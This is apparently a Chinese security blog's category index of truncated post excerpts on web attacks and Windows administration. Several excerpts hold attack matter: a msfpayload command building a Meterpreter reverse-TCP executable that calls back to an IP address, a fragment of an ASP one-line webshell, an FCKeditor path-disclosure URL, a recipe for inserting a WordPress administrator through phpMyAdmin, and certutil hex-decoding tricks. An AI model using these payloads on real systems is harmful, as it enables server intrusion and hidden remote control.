文章分类 -  其它

摘要：https://www.waitalone.cn/burpsuite-plugins.html 阅读全文

摘要：１、跨站脚本攻击(CSS or XSS, Cross Site Scripting) ２、SQL注入攻击(SQL injection) ３、远程命令执行(Code execution，个人觉得译成代码执行并不确切) ４、目录遍历(Directory traversal) ５、文件包含(File inclusion) ６、脚本代码暴露(Script source code disclosure) ... 阅读全文

摘要：echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >hex.txt::生成 hex.txt，机器码对应的内容是 Hallo World! certutil -decodehex hex.txt bin.txt::Hex2Bin certutil -encode bin 阅读全文

摘要：进入phpMyAdmin, 选择 用户数据库 wp_users 或者 (前缀)_users ID – pick a number (in our example, we will use the number 4). user_login – insert the username you want 阅读全文

该文被密码保护。

摘要：大天朝黑阔不能只居一隅之地，必须要和世界接轨。昨天去新东方报了名，外面世界太大，想去外面看看。自己平日收藏了一些，网上也收集了一些，可能有些比较陈旧，暂且全都po出来。不管知名度与否，欢迎大家补充，暗网的也可以加进来，我会根据大家补充的不断分类，更新。 漏洞发布类ht... 阅读全文

摘要：一、什么是webshellwebshell简介webshell，顾名思义：web指的是在web服务器上，而shell是用脚本语言编写的脚本程序，webshell就是就是web的一个管理工具，可以对web服务器进行操作的权限，也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器... 阅读全文

摘要：防CC脚本 阅读全文

摘要：shtml用的是SSI指令，SSI指令虽然不多 但是功能相对而言还是很强大的，在PHP禁止了命令执行函数和开了安全模式的时候可以试试看也可以在服务器允许上传shtml后缀脚本的时候试试PS:只有服务器配置了允许执行SHTML才行对于SSI 百度百科给出的解释是：SSI是为WEB服务器提供的一套命令，... 阅读全文

摘要：BT5 msf msfpayload生成2进制 msf生成exemsfpayload windows/meterpreter/reverse_tcp LHOST=192.168.85.147 LPORT=4444 X >/root/Desktop/mt.exe其它脚本msfpayload java/... 阅读全文

摘要：有时候网站里面别人创建了一些带点的文件夹，还有一些利用“Windows 系统保留的文件名"创建的文件，正常情况无法删除。查了很多资料，介绍都是在CMD下删除，有时候没服务器管理员权限，也不能执行命令，难道就删不掉了么。通过查找相关资料，找到核攻击发表过的一篇文章http://lcx.cc/?i=24... 阅读全文

摘要：當ipc$遇到帶“號密碼時 password is:O*"#~)GbU[x net use \\127.0.0.1 "O*\"#~)GbU[x" /u:administrator 阅读全文

摘要：cmd下执行：cd %systemroot%\system32\Inetsrv\如果您运行的是64位Windows，请从%windir%\system32\inetsrv目录而不是%windir%\syswow64\inetsrv目录中使用Appcmd.exe。C:\Windows\System32... 阅读全文

摘要：在命令提示符窗口中输入以下命令：for /L %i in (0, 1, 254) do ping -a -n 1 192.168.1.%i |Find /i "reply">>E:/IPAddress.txt好了，等命令执行完毕，打开“E:/IPAddress.txt“文件，一张完整的IP与主机名的... 阅读全文

摘要：pack.vbs 用来打包文件夹, 根目录为文件所在目录.Dim n, ws, fsoX, thePath Set ws = CreateObject("WScript.Shell") Set fsoX = CreateObject("Scripting.FileSystemObject") the... 阅读全文

摘要：使用post和get包1.能伪造X-Forwarded-For的伪造2.js脚本加流量3.burp加代理 阅读全文

摘要：http://yxmhero1989.blog.163.com/blog/static/1121579562014120104439831/ 阅读全文

摘要：""thenexecuterequest("cmd")%> 阅读全文

摘要：报IIS路径http://www.xxx.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=~/ 阅读全文

摘要：Nmap(“NetworkMapper”)是一个免费开源的网络探测和安全审计实用工具，许多系统和网络管理员也使用它完成一些任务，例如：网络清查、管理服务升级计划和监视主机或服务的正常运行时间等。这里列举了一些使用namp的一些非常cool的扫描技术，除此之外，你也可以查看在namp主页上的向导和教程。1)获取远程主机的端口信息和识别主机操作系统(GetinfoaboutremotehostportsandOSdetection)nmap-sS-P0-sV-O可以是独立IP,一个主机名或一个子网-sSTCPSYN扫描(也叫半开或隐蔽扫描)-P0选项允许你关闭ICMPping-sV选项启用版本检测 阅读全文